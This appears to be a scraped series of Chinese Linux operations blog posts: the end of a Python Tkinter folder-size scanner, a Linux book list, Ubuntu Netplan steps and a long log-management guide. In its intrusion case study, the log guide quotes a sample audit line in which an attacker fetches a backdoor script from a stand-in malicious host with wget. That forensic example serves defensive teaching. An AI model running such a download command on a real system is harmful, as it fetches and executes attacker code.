self.status_label.pack(anchor=tk.W, pady=5) # 创建结果显示区域 self.result_frame = ttk.Frame(self.main_frame) self.result_frame.pack(fill=tk.BOTH, expand=True, pady=5) # 创建树状视图 - 添加了type列显示文件类型 self.tree = ttk.Treeview(self.result_frame, columns=("type", "path", "size", "percentage"), show="headings") self.tree.heading("type", text="类型") self.tree.heading("path", text="路径") self.tree.heading("size", text="大小") self.tree.heading("percentage", text="占比") self.tree.column("type", width=80, anchor=tk.CENTER) self.tree.column("path", width=500, anchor=tk.W) self.tree.column("size", width=100, anchor=tk.E) self.tree.column("percentage", width=100, anchor=tk.CENTER) # 添加滚动条 self.scrollbar_y = ttk.Scrollbar(self.result_frame, orient=tk.VERTICAL, command=self.tree.yview) self.tree.configure(yscrollcommand=self.scrollbar_y.set) self.scrollbar_x = ttk.Scrollbar(self.result_frame, orient=tk.HORIZONTAL, command=self.tree.xview) self.tree.configure(xscrollcommand=self.scrollbar_x.set) # 布局树状视图和滚动条 self.scrollbar_y.pack(side=tk.RIGHT, fill=tk.Y) self.tree.pack(side=tk.TOP, fill=tk.BOTH, expand=True) self.scrollbar_x.pack(side=tk.BOTTOM, fill=tk.X) # 创建右键菜单 self.context_menu = tk.Menu(self.tree, tearoff=0) self.context_menu.add_command(label="打开", command=self.open_item) self.context_menu.add_command(label="打开所在文件夹", command=self.open_containing_folder) self.context_menu.add_separator() self.context_menu.add_command(label="复制路径", command=self.copy_path) # 绑定右键点击事件 self.tree.bind("<Button-3>", self.show_context_menu) # 绑定双击事件 self.tree.bind("<Double-1>", lambda event: self.open_item()) # 扫描线程 self.scan_thread = None # 存储项目路径的字典 self.item_paths = {} # 存储项目类型的字典 self.item_types = {} def browse_folder(self): folder_path = filedialog.askdirectory() if folder_path: self.path_var.set(folder_path) def start_scan(self): folder_path = self.path_var.get() if not folder_path or not os.path.isdir(folder_path): self.status_var.set("错误：请选择有效的文件夹路径") return # 清空树状视图和路径字典 for item in self.tree.get_children(): self.tree.delete(item) self.item_paths = {} self.item_types = {} # 禁用扫描按钮 self.scan_btn.configure(state=tk.DISABLED) self.browse_btn.configure(state=tk.DISABLED) # 更新状态 self.status_var.set("正在扫描...") # 启动扫描线程 self.scan_thread = threading.Thread(target=self.scan_folder, args=(folder_path,)) self.scan_thread.daemon = True self.scan_thread.start() def scan_folder(self, folder_path): try: # 获取文件夹下所有项目 items = list(os.scandir(folder_path)) total_items = len(items) # 计算总大小 total_size = 0 item_data = [] for i, item in enumerate(items): # 获取项目大小 size = self.get_item_size(item) # 确定项目类型 item_type = "文件夹" if item.is_dir() else "文件" item_data.append((item, size, item_type)) total_size += size # 更新进度 progress = (i + 1) / total_items * 100 self.progress_var.set(progress) self.root.update_idletasks() # 处理每个项目 results = [] for item, size, item_type in item_data: percentage = (size / total_size * 100) if total_size > 0 else 0 results.append((item.path, item.name, size, percentage, item_type)) # 按大小排序 results.sort(key=lambda x: x[2], reverse=True) # 更新UI self.root.after(0, lambda: self.update_results(results, total_size, folder_path)) except Exception as e: self.root.after(0, lambda: self.status_var.set(f"错误：{str(e)}")) finally: self.root.after(0, self.reset_ui) def get_item_size(self, item): """获取文件或文件夹的大小""" try: if item.is_file(): return item.stat().st_size elif item.is_dir(): return sum(f.stat().st_size for f in Path(item.path).glob('**/*') if f.is_file()) return 0 except (PermissionError, OSError): # 处理权限错误或其他IO错误 return 0 def update_results(self, results, total_size, base_folder): # 添加总大小信息 item_id = self.tree.insert("", tk.END, values=( "文件夹", base_folder, humanize.naturalsize(total_size, binary=True), "100%" )) self.item_paths[item_id] = base_folder self.item_types[item_id] = "文件夹" # 添加每个项目 for full_path, name, size, percentage, item_type in results: item_id = self.tree.insert("", tk.END, values=( item_type, full_path, humanize.naturalsize(size, binary=True), f"{percentage:.2f}%" )) self.item_paths[item_id] = full_path self.item_types[item_id] = item_type # 更新状态 self.status_var.set( f"扫描完成，共 {len(results)} 个项目，总大小 {humanize.naturalsize(total_size, binary=True)}") def get_selected_path(self): """获取当前选中项目的路径""" selected = self.tree.selection() if not selected: return None item_id = selected[0] if item_id in self.item_paths: return self.item_paths[item_id] return None def reset_ui(self): # 启用扫描按钮 self.scan_btn.configure(state=tk.NORMAL) self.browse_btn.configure(state=tk.NORMAL) # 重置进度条 self.progress_var.set(0) def show_context_menu(self, event): """显示右键菜单""" item = self.tree.identify_row(event.y) if item: self.tree.selection_set(item) self.context_menu.post(event.x_root, event.y_root) def open_item(self): """打开所选项目""" path = self.get_selected_path() if not path: return try: if platform.system() == "Windows": os.startfile(path) elif platform.system() == "Darwin": # macOS subprocess.run(["open", path]) else: # Linux subprocess.run(["xdg-open", path]) except Exception as e: messagebox.showerror("错误", f"无法打开文件: {str(e)}") def open_containing_folder(self): """打开所选项目所在的文件夹""" path = self.get_selected_path() if not path: return # 如果是文件，获取其所在目录 if os.path.isfile(path): dir_path = os.path.dirname(path) try: if platform.system() == "Windows": # 在Windows上，我们可以选中文件 subprocess.run(["explorer", "/select,", path]) return elif platform.system() == "Darwin": # macOS # 在macOS上，我们可以显示文件 subprocess.run(["open", "-R", path]) return except Exception: pass # 如果特定方法失败，回退到打开文件夹 path = dir_path try: if platform.system() == "Windows": os.startfile(path) elif platform.system() == "Darwin": # macOS subprocess.run(["open", path]) else: # Linux subprocess.run(["xdg-open", path]) except Exception as e: messagebox.showerror("错误", f"无法打开文件夹: {str(e)}") def copy_path(self): """复制所选项目的路径到剪贴板""" path = self.get_selected_path() if path: pyperclip.copy(path) self.status_var.set(f"已复制路径: {path}") if __name__ == "__main__": # 安装依赖：pip install humanize pyperclip try: import humanize import pyperclip except ImportError: print("请先安装所需库: pip install humanize pyperclip") import sys sys.exit(1) root = tk.Tk() app = FolderScannerApp(root) root.mainloop()关注@运维躬行录，在聊天框输入【文件大小扫描】，可免费领取打包文件及《python自动化办公教程》祝你效率翻倍
Linux入门书籍推荐：从新手到进阶的必读清单
我经常被问到关于Linux学习的书籍推荐。无论是刚接触Linux的新手，还是想要提升技能的进阶用户，选择合适的学习资料都至关重要。接下来，我将分享我认为最值得阅读的Linux入门书籍，这些是我在多年Linux学习中有学习过的书籍，各位网友要是还有补充请给我留言！初学者入门书籍1. 《鸟哥的Linux私房菜：基础学习篇》（第四版）这本由台湾作者蔡德明（鸟哥）编写的经典著作，可以说是中文世界里Linux入门的标杆。书中以CentOS为例，从最基本的Linux概念讲起，语言通俗易懂，例子丰富实用。亮点： 循序渐进的内容编排，非常适合零基础读者 详细解释了Linux文件系统、用户权限等基础概念 大量实际操作案例，便于动手实践 作者持续更新网站内容，与时俱进 我个人认为，这本书最大的优势在于它的叙述风格，就像一位经验丰富的老师在耐心讲解，不会让新手感到畏惧。但是有些用语是台湾那边的风格，有点别扭哈哈哈哈哈。2. 《Linux Command Line and Shell Scripting Bible》（Linux命令行与shell脚本编程大全）Richard Blum和Christine Bresnahan合著的这本书是学习Linux命令行的绝佳选择。它从最基本的命令开始，逐步深入到shell脚本编程。亮点： 全面覆盖了常用Linux命令 大量实例讲解shell脚本编写技巧 包含实用的故障排除方法 适合作为日常参考手册 这本书我反复翻阅过多次，每次都能发现新的收获。特别是它对bash脚本的讲解，对新手非常友好。但是纸上得来终觉浅，绝知此事要躬行。没事可以多敲敲多写写，光看是记不住的！3. 《Linux就该这么学》刘遄老师的这本书以实战为导向，通过大量实验帮助读者快速掌握Linux技能。亮点： 以RHEL/CentOS为基础，紧贴企业实际应用 包含大量实验和操作步骤 配套网站提供在线学习资源 涵盖了系统管理的基本技能 这本书书友反馈这本书的实验设计非常贴合工作实际，学完后能够迅速上手。多实践！多实践！多实践！重要的事情说三遍。进阶学习书籍4. 《Linux系统管理技术手册》（第五版）Evi Nemeth等人编写的这本书被誉为Linux系统管理员的"圣经"，内容全面且深入。亮点： 详细介绍了系统管理的各个方面 涵盖网络配置、安全管理、性能调优等高级主题 包含实用的故障排除方法和最佳实践 适合有一定基础的读者深入学习 我在处理复杂的系统问题时，经常会翻阅这本书寻找解决方案。它的深度和广度都令人印象深刻。5. 《UNIX环境高级编程》（第三版）虽然书名中是UNIX，但这本由Richard Stevens和Stephen Rago编写的经典著作对Linux同样适用，是理解Linux系统编程的必读之作。亮点： 深入讲解系统调用和库函数 详细介绍进程控制、信号处理等核心概念 包含大量实用代码示例 帮助理解Linux内部工作机制 这本书需要一定的C语言基础，但对于想要深入理解Linux如何工作的读者来说，绝对值得投入时间学习。6. 《Linux内核设计与实现》Robert Love的这本书是了解Linux内核的入门级经典，它以清晰的语言解释了复杂的内核概念。亮点： 解释内核设计理念和实现细节 涵盖进程调度、内存管理、文件系统等核心子系统 适合想要了解Linux内部工作原理的读者 相比其他内核书籍更容易入门 我第一次阅读这本书时，对Linux内核的优雅设计感到惊叹。它帮助我建立了对操作系统工作原理的深刻理解（太深入，我看了掉头发，助眠很不错！！！）实用工具书7. 《Linux Pocket Guide》（Linux口袋指南）Daniel Barrett编写的这本小册子非常适合随身携带，作为命令速查手册使用。亮点： 简洁明了地介绍了常用Linux命令 小巧便携，适合随时查阅 包含实用技巧和示例 新版本持续更新，跟进最新变化 8. 《Shell脚本学习指南》Arnold Robbins的这本书专注于shell脚本编程，是提升自动化能力的好帮手。亮点： 从基础到高级的shell脚本技术 大量实用示例和最佳实践 讲解了正则表达式、awk和sed等文本处理工具 适合系统管理员提高工作效率 特定领域书籍9. 《Linux服务器安全》Michael D. Bauer的这本书专注于Linux系统安全，是运维人员必备的安全参考。亮点： 全面介绍Linux安全基础和高级主题 包含防火墙配置、入侵检测等实用技术 提供安全加固的最佳实践 涵盖常见安全威胁的应对方法 在当今网络安全日益重要的环境下，这本书提供的知识对每个Linux管理员都至关重要。10. 《Docker技术入门与实战》（第三版）杨保华、戴王剑和曹亚仑编写的这本书是学习容器技术的优秀入门读物。亮点： 从基础概念到实际应用全面介绍Docker 包含大量实例和最佳实践 涵盖Docker Compose、Docker Swarm等进阶主题 与云原生技术紧密结合 随着容器技术的普及，这本书对想要在现代IT环境中使用Linux的读者非常有价值。docker解决了运行环境标准化的问题，我认为要想成为一个优秀的运维，你一定得会docker。如何选择适合自己的书籍根据我的经验，选择Linux学习书籍时应考虑以下几个因素：1. 评估自己的起点如果你是完全的Linux新手，建议从《鸟哥的Linux私房菜》或《Linux就该这么学》开始。这类书籍假设读者没有任何Linux基础，从最基本概念讲起，循序渐进。如果你已经有一些使用经验，想要系统学习，可以选择《Linux Command Line and Shell Scripting Bible》这类更全面的书籍，它们能帮你填补知识空白，建立完整的知识体系。2. 明确学习目标不同的学习目标需要不同的书籍： 日常使用：选择入门级书籍和命令参考手册 系统管理：《Linux系统管理技术手册》是不二之选 安全加固：《Linux服务器安全》提供专业指导 开发相关：《UNIX环境高级编程》帮助理解系统调用 深入研究：《Linux内核设计与实现》是了解内核的入门书 3. 考虑书籍的实用性我个人最推崇那些包含大量实例和动手练习的书籍。Linux是一门实践性很强的技术，光看不练很难真正掌握。《Linux就该这么学》和《Shell脚本学习指南》这类书籍的实践导向设计，能帮助读者更快上手。4. 关注更新时间Linux技术发展迅速，选择较新版本的书籍很重要。例如，systemd取代了传统的SysV init系统，如果书中还在详细讲解init.d脚本而不提systemd，那么这本书可能已经过时了。学习Linux的实用建议除了选择合适的书籍外，我还想分享一些学习Linux的实用建议：1. 搭建实验环境理论学习必须结合实践。可以使用虚拟机软件（如VirtualBox、VMware）或WSL（Windows Subsystem for Linux）在自己的电脑上安装Linux发行版。如果条件允许，准备一台专门的实验机器是最理想的。2. 选择适合的Linux发行版对于初学者，我推荐： Ubuntu：用户友好，社区支持丰富 Linux Mint：基于Ubuntu，界面更接近Windows CentOS/Rocky Linux：企业环境常用，稳定可靠 3. 坚持日常使用将Linux作为日常工作环境使用，是最快提升技能的方法。哪怕只是用来浏览网页、收发邮件，持续使用也能让你逐渐熟悉这个系统。4. 结合在线资源除了书籍外，还可以利用丰富的在线资源： Linux Documentation Project：全面的文档资源 Stack Overflow：解决具体问题的宝库 Linux Journey：互动式学习平台 YouTube教程：直观的视频讲解 5. 参与社区加入Linux用户组或在线社区，与其他用户交流经验。回答问题是巩固知识的好方法，同时也能结识志同道合的朋友。推荐一个非常Nice的开源项目，里面有很多共享的书：https://github.com/Jackpopc/CS-Books-Store写在最后Linux学习是一段漫长但充满乐趣的旅程。选择合适的入门书籍，可以让这段旅程更加顺畅。从《鸟哥的Linux私房菜》这样的入门经典开始，逐步过渡到更专业的书籍，配合日常实践，你一定能够掌握这项重要技能。记住，在Linux世界中，最重要的不是记住所有命令（这几乎是不可能的），而是培养解决问题的思维方式和查找资料的能力。每一位Linux大师都是从初学者开始的，持之以恒才是成功的关键。如果你觉得这篇文章对你有帮助，欢迎在评论区分享你的学习经验或推荐其他好书。也请将这篇文章分享给可能需要的朋友，让更多人受益。关注我，获取更多Linux运维技术文章和实用教程！你正在学习Linux的哪个阶段？遇到了什么困难？欢迎在评论区交流讨论！关注@运维躬行录，留言【linux书籍】可免费领取《Linux书籍大全》
Ubuntu 24.04 使用 Netplan 作为默认的网络配置工具，这是目前最推荐的添加永久 IP 地址的方法。以下是详细步骤：使用 Netplan（推荐）步骤 1：确定网卡名称和当前配置# 查看网卡名称和当前IP配置 ip a # 查找现有的 Netplan 配置文件 ls /etc/netplan/网卡名称通常是 enp0s3、ens5 或类似格式，请记下您的实际网卡名称。步骤 2：编辑 Netplan 配置文件# 编辑配置文件（文件名可能不同） sudo nano /etc/netplan/00-installer-config.yaml步骤 3：添加新 IP 地址修改配置文件，添加新 IP 地址。以下是一个示例配置：network: version: 2 ethernets: ens5: # 替换为您的网卡名称 dhcp4: true # 如果您想保留DHCP，设为true；否则设为false addresses: - 192.168.1.100/24 # 现有IP地址（如果有） - 172.31.2.249/20 # 新增的IP地址 # 如果您设置dhcp4: false，可能需要添加以下配置 # routes: # - to: default # via: 192.168.1.1 # nameservers: # addresses: [8.8.8.8, 8.8.4.4]步骤 4：应用配置# 检查配置语法 sudo netplan try # 应用配置 sudo netplan apply步骤 5：验证配置ip addr show ens5 # 替换为您的网卡名称
深入解析Linux系统日志管理：从基础到高级实践
linux提供了强大的日志功能，系统日志就像是服务器的"黑匣子"，记录着系统的一举一动。作为一个“菜鸟运维”，掌握Linux日志管理不仅能帮助我们快速定位问题，还能预防潜在的系统故障。今天，我们就来深入探讨Linux系统日志管理的方方面面（鄙人才疏学浅，若有不足还请海涵，^-^）。一、Linux日志系统概述Linux系统的日志文件主要存放在/var/log目录下，包含了从系统启动到运行过程中的各种信息。这些日志按照功能大致可分为： 系统日志：记录系统级别的事件 应用日志：记录各应用程序的运行情况 安全日志：记录与系统安全相关的信息 传统的Linux使用syslog作为日志系统，现代发行版则多采用rsyslog或systemd-journald。二、常见日志文件详解1. /var/log/messages这是最重要的系统日志文件，记录了除了认证相关之外的所有系统活动：$ sudo tail -f /var/log/messages Nov 15 10:23:45 server kernel: CPU0: Core temperature above threshold, cpu clock throttled Nov 15 10:24:12 server systemd: Started Session 1452 of user admin.2. /var/log/secure包含与认证和授权相关的日志信息：$ sudo cat /var/log/secure | grep "Failed password" Nov 15 09:15:32 server sshd[12345]: Failed password for invalid user admin from 192.168.1.100 port 49812 ssh23. /var/log/dmesg内核环缓冲区信息，记录系统启动时的硬件检测等信息：$ dmesg | grep -i usb [ 2.332145] usb 1-1: new high-speed USB device number 2 using ehci-pci [ 2.464312] usb 1-1: New USB device found, idVendor=8087, idProduct=00244. /var/log/audit/audit.log审计子系统的日志，记录安全相关事件：$ sudo ausearch -m USER_LOGIN -ts today time->Tue Nov 15 08:45:23 2023 type=USER_LOGIN msg=audit(1668496523.156:425): pid=3548 uid=0 auid=4294967295 ses=4294967295 msg='op=login acct="root" exe="/usr/sbin/sshd" hostname=? addr=192.168.1.105 terminal=ssh res=success'三、日志管理工具rsyslog 简介rsyslog 是 Linux 系统中最流行的日志管理服务，它是对传统 syslogd 的增强版本。作为一个高性能、模块化的系统日志处理工具，rsyslog 能够接收来自各种来源的日志消息，处理它们，并将其输出到多种目标。核心特性 高性能：能够每秒处理超过一百万条日志消息 可靠性：支持 TCP 传输和消息队列，确保日志不丢失 模块化架构：通过插件扩展功能，支持多种输入输出模式 强大的过滤能力：基于属性的过滤器和表达式 灵活的配置：使用传统语法或更强大的 RainerScript 配置格式 1. rsyslog配置详解rsyslog 是 Linux 系统中最流行的日志管理服务，它是对传统 syslogd 的增强版本。作为一个高性能、模块化的系统日志处理工具，rsyslog 能够接收来自各种来源的日志消息，处理它们，并将其输出到多种目标。rsyslog是目前最常用的日志系统，其配置文件位于/etc/rsyslog.conf：# 配置日志格式 $template CustomFormat,"%timegenerated% %HOSTNAME% %syslogtag%%msg%\n" # 将所有消息记录到messages文件 *.info;mail.none;authpriv.none;cron.none /var/log/messages;CustomFormat # 将认证相关消息记录到secure文件 authpriv.* /var/log/secure;CustomFormat # 将邮件相关消息记录到maillog文件 mail.* /var/log/maillog;CustomFormat配置语法说明： 左侧是选择器(facility.priority) 右侧是动作(通常是文件路径) journalctl 简介journalctl 是 systemd 系统中用于查询和显示日志的命令行工具，它访问由 systemd-journald 服务收集的结构化系统日志。与传统的文本日志文件不同，journald 将日志存储为二进制格式，提供了更强大的查询和过滤能力。核心特性 结构化日志：存储包含元数据的二进制日志，便于查询和过滤 实时日志查看：支持实时监控系统日志 强大的过滤能力：可按单元、优先级、时间范围等多种条件过滤 完整性保障：支持日志签名和验证，防止篡改 自动轮转：内置日志轮转功能，无需额外配置 journalctl使用技巧systemd-journald是新一代的日志管理系统，使用journalctl命令查看：# 查看系统启动以来的所有日志 $ journalctl # 查看特定服务的日志 $ journalctl -u nginx.service # 查看特定时间段的日志 $ journalctl --since "2023-11-14 10:00:00" --until "2023-11-15 11:00:00" # 查看内核日志 $ journalctl -k # 实时查看日志 $ journalctl -f高级过滤：# 查看特定PID的日志 $ journalctl _PID=1234 # 查看特定用户的日志 $ journalctl _UID=1000 # 组合查询 $ journalctl _SYSTEMD_UNIT=sshd.service + _HOSTNAME=server1四、日志轮转与维护1. logrotate配置logrotate工具可以自动轮转和压缩日志文件，防止单个日志文件过大：$ cat /etc/logrotate.d/nginx /var/log/nginx/*.log { daily missingok rotate 7 compress delaycompress notifempty create 640 nginx adm sharedscripts postrotate if [ -f /var/run/nginx.pid ]; then kill -USR1 `cat /var/run/nginx.pid` fi endscript }参数说明： daily：每天轮转 rotate 7：保留7个备份 compress：压缩旧日志 create：创建新日志文件并设置权限 postrotate：轮转后执行的脚本 2. 自定义日志清理脚本对于logrotate无法处理的情况，可以编写自定义脚本：#!/bin/bash # 删除30天前的日志文件 find /var/log/custom_logs -name "*.log" -type f -mtime +30 -exec rm {} \; # 对大于100MB的日志文件进行压缩 find /var/log/custom_logs -name "*.log" -type f -size +100M -exec gzip {} \; # 记录清理操作 echo "Log cleanup completed at $(date)" >> /var/log/log_cleanup.log五、集中式日志管理1. 配置远程日志服务器在日志服务器上配置rsyslog：# /etc/rsyslog.conf # 启用TCP和UDP接收器 module(load="imudp") input(type="imudp" port="514") module(load="imtcp") input(type="imtcp" port="514") # 按主机名分类存储日志 $template RemoteHost,"/var/log/remote/%HOSTNAME%/%PROGRAMNAME%.log" *.* ?RemoteHost在客户端配置：# /etc/rsyslog.conf *.* @@log-server.example.com:514 # TCP # 或者 *.* @log-server.example.com:514 # UDP2. ELK Stack部署对于大规模环境，可以部署ELK(Elasticsearch, Logstash, Kibana)堆栈：# Filebeat配置示例 (filebeat.yml) filebeat.inputs: - type: log enabled: true paths: - /var/log/*.log - /var/log/nginx/*.log output.elasticsearch: hosts: ["elasticsearch:9200"] setup.kibana: host: "kibana:5601"Logstash配置：input { beats { port => 5044 } } filter { if [fields][log_type] == "nginx" { grok { match => { "message" => "%{COMBINEDAPACHELOG}" } } } } output { elasticsearch { hosts => ["elasticsearch:9200"] index => "%{[@metadata][beat]}-%{[@metadata][version]}-%{+YYYY.MM.dd}" } }六、日志分析与故障排查1. 常用日志分析命令# 查找错误信息 $ grep -i error /var/log/messages # 统计HTTP状态码 $ awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn # 查找特定时间段的日志 $ sed -n '/15\/Nov\/2023:10:00/,/15\/Nov\/2023:11:00/p' /var/log/nginx/access.log # 查找最频繁的访问IP $ awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head -102. 自动化监控脚本#!/bin/bash # 监控SSH失败登录尝试 THRESHOLD=5 COUNT=$(grep "Failed password" /var/log/secure | grep -c "$(date +"%b %d")") if [ $COUNT -gt $THRESHOLD ]; then echo "警告: 检测到大量SSH失败登录尝试: $COUNT" | mail -s "安全警报" admin@example.com # 可选：自动封禁IP # grep "Failed password" /var/log/secure | grep "$(date +"%b %d")" | awk '{print $11}' | sort | uniq -c | sort -nr | awk '$1>3 {print $2}' | xargs -I% iptables -A INPUT -s % -j DROP fi七、日志安全与合规1. 日志完整性保护使用AIDE(Advanced Intrusion Detection Environment)监控日志文件完整性：# 安装AIDE $ sudo apt install aide # Debian/Ubuntu $ sudo yum install aide # RHEL/CentOS # 初始化数据库 $ sudo aide --init # 更新配置以监控日志目录 $ echo "/var/log/ NORMAL" >> /etc/aide/aide.conf # 定期检查完整性 $ sudo aide --check2. 日志加密与签名对敏感日志进行加密存储：# 创建加密日志目录 $ sudo mkdir /var/log/encrypted $ sudo openssl enc -aes-256-cbc -salt -in /var/log/secure -out /var/log/encrypted/secure.enc -k "密钥短语" # 自动化加密脚本 #!/bin/bash LOG_DIR="/var/log" ENC_DIR="/var/log/encrypted" KEY_FILE="/root/.log_encryption_key" for log in auth.log secure messages; do if [ -f "$LOG_DIR/$log" ]; then cat "$LOG_DIR/$log" | openssl enc -aes-256-cbc -salt -out "$ENC_DIR/$log.$(date +%Y%m%d).enc" -pass file:"$KEY_FILE" fi done3. 合规性要求实现针对PCI DSS、HIPAA等合规要求的日志保留策略：# 在rsyslog.conf中添加长期存储规则 $template LongTermLogs,"/var/log/compliance/%PROGRAMNAME%/%$YEAR%/%$MONTH%/%$DAY%.log" authpriv.* ?LongTermLogs kern.warning ?LongTermLogs八、高级日志管理技术1. 结构化日志与JSON格式配置应用输出JSON格式日志：# Nginx JSON日志格式配置 log_format json_combined escape=json '{' '"time":"$time_local",' '"remote_addr":"$remote_addr",' '"request":"$request",' '"status": "$status",' '"body_bytes_sent":"$body_bytes_sent",' '"request_time":"$request_time",' '"http_referrer":"$http_referer",' '"http_user_agent":"$http_user_agent"' '}'; access_log /var/log/nginx/access.log json_combined;2. 日志异常检测使用机器学习进行日志异常检测：#!/usr/bin/env python3 import pandas as pd from sklearn.ensemble import IsolationForest import numpy as np # 读取并解析日志，先将日志转化为csv文件 logs = pd.read_csv('access_log.csv') # 特征提取 features = logs'status_code', 'response_time', 'bytes_sent' # 异常检测 model = IsolationForest(contamination=0.05) logs['anomaly'] = model.fit_predict(features) # 输出异常记录 anomalies = logs[logs['anomaly'] == -1] print(f"检测到 {len(anomalies)} 条异常记录") print(anomalies.head())3. 容器环境日志管理Docker环境的日志配置：# Docker daemon配置 (/etc/docker/daemon.json) { "log-driver": "json-file", "log-opts": { "max-size": "10m", "max-file": "3", "labels": "production_status", "env": "os,customer" } } # 使用fluentd收集容器日志 docker run -d --name nginx \ --log-driver=fluentd \ --log-opt fluentd-address=192.168.1.10:24224 \ --log-opt tag="docker.{{.Name}}" \ nginxKubernetes环境日志管理：# 部署fluentd DaemonSet apiVersion: apps/v1 kind: DaemonSet metadata: name: fluentd spec: selector: matchLabels: name: fluentd template: metadata: labels: name: fluentd spec: containers: - name: fluentd image: fluent/fluentd-kubernetes-daemonset:v1.14 volumeMounts: - name: varlog mountPath: /var/log - name: varlibdockercontainers mountPath: /var/lib/docker/containers readOnly: true volumes: - name: varlog hostPath: path: /var/log - name: varlibdockercontainers hostPath: path: /var/lib/docker/containers九、实战案例分析案例一：使用日志定位系统性能问题某服务器出现间歇性响应慢的问题，通过日志分析定位：# 1. 查看系统负载情况 $ grep "load average" /var/log/messages Nov 15 14:23:45 server kernel: CPU: 98.2% user, 1.5% system, 0.3% idle # 2. 检查是否有OOM事件 $ journalctl -k | grep -i "out of memory" Nov 15 14:25:12 server kernel: Out of memory: Kill process 1234 (java) score 123 # 3. 分析应用日志中的慢查询 $ grep -i "slow query" /var/log/mysql/mysql-slow.log # Time: 2023-11-15T14:20:01.123456Z # User@Host: dbuser[dbuser] @ localhost [] # Query_time: 15.123456 Lock_time: 0.000012 Rows_sent: 1 Rows_examined: 10000000 SELECT * FROM large_table WHERE non_indexed_column = 'value';根据以上日志，确定是MySQL慢查询导致系统负载过高，进而触发OOM。解决方案是优化SQL查询并增加相关索引。案例二：安全入侵检测与分析检测到服务器可能被入侵，通过日志追踪攻击路径：# 1. 检查SSH暴力破解尝试 $ grep "Failed password" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr 156 192.168.1.234 23 10.0.0.15 # 2. 检查成功登录 $ grep "Accepted password" /var/log/secure | grep "192.168.1.234" Nov 15 03:45:12 server sshd[1234]: Accepted password for admin from 192.168.1.234 # 3. 检查可疑命令执行 $ ausearch -ua admin -ts recent time->Nov 15 03:46:23 2023 type=EXECVE msg=audit(1668496583.156:789): argc=3 a0="wget" a1="http://malicious.example.com/backdoor.sh" a2="-O/tmp/.hidden" # 4. 检查异常网络连接 $ grep "CONNECT" /var/log/audit/audit.log | grep "192.168.1.234" type=SOCKADDR msg=audit(1668496590.123:790): saddr=02000050AC1E1D2F0000000000000000通过日志分析，确认攻击者通过暴力破解获取密码，登录后下载恶意脚本并建立反向连接。应对措施包括封禁攻击IP、重置密码、移除恶意文件并加固SSH配置。十、总结与最佳实践以下是一些日志管理的最佳实践： 制定完整的日志策略：根据业务需求和合规要求，确定日志收集范围、保留期限和安全措施。 实施集中化日志管理：使用ELK、Graylog等工具将分散的日志集中存储和分析，提高故障排查效率。 合理配置日志级别：生产环境通常使用INFO或WARNING级别，调试时可临时开启DEBUG级别，避免日志过于冗长。 定期轮转与归档：配置logrotate确保日志文件不会无限增长，并根据合规要求归档重要日志。 实施日志监控与告警：对关键错误和安全事件设置实时告警，提前发现潜在问题。 保护日志安全：限制日志文件访问权限，考虑对敏感日志进行加密，防止日志被篡改。 定期审查日志配置：随着系统变更，定期检查日志配置是否仍然满足需求，是否有新增服务需要纳入日志管理。 自动化日志分析：开发自动化脚本或使用工具进行日志分析，从海量日志中提取有价值的信息。 考虑性能影响：过度的日志记录可能影响系统性能，需要在详细程度和性能之间找到平衡点。 定期备份日志：重要的日志文件应纳入备份策略，确保在系统故障时不会丢失。 十一、进阶学习路径如果你希望进一步提升日志管理技能，可以考虑以下学习路径： 深入学习ELK Stack：掌握Elasticsearch查询语言、Logstash过滤器配置和Kibana可视化。 学习日志分析工具：如Splunk、Graylog等企业级日志分析平台。 了解SIEM系统：安全信息与事件管理系统如何利用日志进行安全分析。 探索机器学习在日志分析中的应用：如何利用AI技术自动发现日志中的异常模式。 容器和云原生环境的日志管理：Kubernetes、Docker等环境下的日志收集与分析策略。 结语日志管理看似简单，实则深不可测。从简单的文本文件到复杂的分布式系统，日志始终是我们了解系统行为、排查问题的重要窗口。希望这篇文章能帮助你建立起完整的Linux日志管理知识体系，在日常运维工作中更加得心应手。如果你觉得这篇文章对你有所帮助，欢迎在下方留言分享你的日志管理经验和技巧。也请关注我的博客，获取更多实用的Linux运维技术文章。转发本文给更多需要的同行，让我们一起在技术的道路上共同成长！你有哪些日志管理的独特技巧？在处理大规模系统日志时遇到过什么挑战？欢迎在评论区分享你的经验！